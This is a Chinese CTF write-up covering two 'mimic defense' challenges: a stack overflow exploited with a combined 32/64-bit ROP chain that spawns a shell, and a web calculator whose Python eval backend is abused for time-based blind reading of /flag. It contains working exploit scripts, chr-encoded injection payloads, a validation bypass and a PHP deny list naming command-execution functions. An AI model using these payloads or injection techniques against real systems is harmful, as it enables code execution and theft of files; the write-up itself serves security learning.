拟态防御题型pwn&web初探

2019-07-04 约 1217 字 预计阅读 6 分钟

声明:本文 【拟态防御题型pwn&web初探】 由作者 iptabLs 于 2019-07-05 06:02:00 首发 先知社区 曾经 浏览数 2 次

感谢 iptabLs 的辛苦付出!

前言

拟态防御是什么,网上一搜就知道,在此不作详述了。想起一次见到拟态防御是在17年的工信部竞赛,当时知道肯定攻不破,连题目都没去打开。近期终于见到一些CTF比赛中出现拟态型的题目,题目不算太难,不过这种题型比较少见,特此记录一下。

pwn(强网杯 babymimic)

打开压缩包,发现竟然有两个二级制文件,先检查一下保护

[*] '/home/kira/pwn/qwb/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/kira/pwn/qwb/__stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

两个二进制文件,一个是32位,一个是64位,均为静态编译,漏洞也很明显,是一个简单粗暴的栈溢出。

伪代码如下:

int vul()
{
  char v1; // 32位[esp+Ch] [ebp-10Ch]  64位[rsp+0h] [rbp-110h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(&v1, 0, 256);
  read(0, &v1, 0x300);
  return puts(&v1);
}

因为这是一题拟态的pwn题,跟传统题型相比,加入了拟态的检查机制,大概原理是:题目会同时启动32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查。因此,我们要做的就是构造一个payload,输入到32位程序和64位程序的时候,确保输出流完全一致,也就是用一个payload在32位程序和64位程序都能getshell。

如果不是拟态机制,这道题直接用ROPgadget生成ropchain就可以getshell,分分钟就被秒了。

#!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9060) # @ .data
        p += pack('<I', 0x080a8af6) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9064) # @ .data + 4
        p += pack('<I', 0x080a8af6) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x08056040) # xor eax, eax ; ret
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080481c9) # pop ebx ; ret
        p += pack('<I', 0x080d9060) # @ .data
        p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x080d9060) # padding without overwrite ebx
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x08056040) # xor eax, eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x080495a3) # int 0x80

但是,32位和64位的汇编码完全不同,函数调用方式也是不同,要如何构造一条payload同时在32位和64位程序getshell呢。出题人非常友好地留了一个漏洞点给我们,留意到32位程序的溢出长度是0x110,而64位程序的溢出长度是0x118,差了8字节,这就给了我们空间可以构造特殊payload。

思路是:填充完0x110字节后,32位程序会到达ret位置,可以寻找一些控制esp的gadget,跳过后面64位的ret到达ropchain,同理64位也能寻找这种gadget跳过32位的ropchain。使用ROPgadget查找可以控制sp的gadget,类似add sp, 0xc; ret,然后在payload中指定的位置放置ropchain。

非常幸运,找了两个大小合适的gadget,ROPgadget生成的ropchain注意需要修改一下,不然会导致输入过长,要控制payload的长度在0x300以内。

最后需要注意的是,vul函数结束时会调用puts,为保证输出相同,填充的垃圾数据要用\x00进行截断。

完整exp如下:

from struct import pack
# 32bit ropchain
rop32 = ''
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '/bin'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9064) # @ .data + 4
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '//sh'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x080481c9) # pop ebx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += p32(0xb)
rop32 += pack('<I', 0x080495a3) # int 0x80

# 64bit ropchain
rop64 = ''
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += '/bin//sh'
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += p64(0x3b)
rop64 += pack('<Q', 0x0000000000461645) # syscall ; ret

# 32 gadget
add_esp = 0x080a8f69 # add esp, 0xc ; ret

# 64 gadget
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

payload = 'kira'.ljust(0x110,'\x00') + p64(add_esp) + p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64
p.sendlineafter('try to pwn it?\n',payload)
p.interactive()

web (某培训题目)

题目来某公司买的培训(感谢anic大佬提供的题目),是一个拟态的web题。

题目简单分析

前端是一个next.js的网站,只能输入0-9a-z,加减乘除,空格,括号,同时检查输入长度。
有3个后端决策器,分别是php、node和python执行表达式,3个决策器会对输入进行运算,只有当3个决策器返回的结果一致时,才会输出结果。

例如输入1+1,可以得到结果{"ret":"2"}

观察后台的记录,3个决策器均返回了{"ret":"2"}

frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Expression = "1+1"
frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Ret = [{"ret":"2"},{"ret":"2"},{"ret":"2"}]

输入eval(1+1),可以得到结果That's classified information. - Asahina Mikuru

观察后台的记录,决策器结果不一致,返回错误信息

frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Expression = "eval(1+1)"
frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Ret = [{"ret":"2"},"Request failed with status code 500","Request failed with status code 500"]

源码分析

首先分析前端的代码,题目进行计算时往/calculate post表达式,可以在 app.controller.ts中看到对应的代码,3个IP为后台决策器

@Post('/calculate')
  calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) {
    const serializedBson = bson.serialize(calculateModel);
    const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
    bluebird.map(urls, async (url) => {

fuzz的时候发现是有过滤的,表达式的输入过滤在expression.validator.ts,首先检查了输入长度,然后再检查输入内容,过滤大部分的命令执行需要用到的字符。

export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
   return (object: Object, propertyName: string) => {
        registerDecorator({
            name: 'ExpressionValidator',
            target: object.constructor,
            propertyName,
            constraints: [property],
            options: validationOptions,
            validator: {
                validate(value: any, args: ValidationArguments) {
                  const str = value ? value.toString() : '';
                  if (str.length === 0) {
                    return false;
                  }
                  if (!(args.object as CalculateModel).isVip) {
                    if (str.length >= args.constraints[0]) {
                      return false;
                    }
                  }
                  if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { 
                    return false;
                  }
                  return true;
                },
            },
        });
   };
}

默认参数在calculate.model.ts,默认输入最大长度为15,isVip默认是false

export default class CalculateModel {

  @IsNotEmpty()
  @ExpressionValidator(15, {
    message: 'Invalid input',
  })
  public readonly expression: string;

  @IsBoolean()
  public readonly isVip: boolean = false;
}

那么长度限制可以通过,修改发送数据的类型进行绕过。提交json参数,修改isViptrue,Content-Type修改为application/json,这样可以跳过长度判断的语句。

flag在根目录,下一步需要考虑的是如何进行命令注入,由于nodejs不太熟悉,先看一下php和python。

php的决策器主函数index.php

<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

linit.ini中限制了大量执行命令的函数,暂时想不到绕过的姿势

disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

再看一下python的决策器主函数app.py,也是使用eval进行计算

@app.route("/", methods=["POST"])
def calculate():
    data = request.get_data()
    expr = bson.BSON(data).decode()

    return bson.BSON.encode({
      "ret": str(eval(str(expr['expression'])))
    })

python可以用+进行字符串拼接,字符过滤可以用ascii编码绕过,绕过方法如下:

>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1
2

由于python的代码在php和nodejs中都是无法运行的,决策器的验证是不可能通过,因此不会有正常结果回显。虽然不会显示命令注入的回显,但是返回结果会等所有决策器返回运行结果后才发送响应包,因此可以使用时间盲注,逐字符进行爆破flag。

注入payload:__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1

决策器的返回结果,其中python决策器是第二个,从返回结果可以看到,可以使用布尔注入。

[Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"1"},"Request failed with status code 500"]    # False
[Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"None"},"Request failed with status code 500"] # True

简单编写暴力爆破exp,提高效率也可以使用二分法爆破。

# -*- coding:utf-8 -*-
import requests
import json
import string

header = {
"Content-Type":"application/json"}
url = "http://x.x.x.x:50004/calculate"

def foo(payload):
    return "+".join(["chr(%d)"%ord(x) for x in payload])

flag = ''
for i in range(20):
    for j in string.letters + string.digits + '{_}':
        exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)
        data = {
            "expression": "eval(" + foo(exp) + ")",
            "isVip":True
        }
        try:
            r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)
            #print r.elapsed
        except:
            flag += j
            print "[+] flag:",flag
            break

总结

拟态型的题目相信之后的比赛会更多的出现,这两题算是小试牛刀吧,期待之后比赛遇到的新题目。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now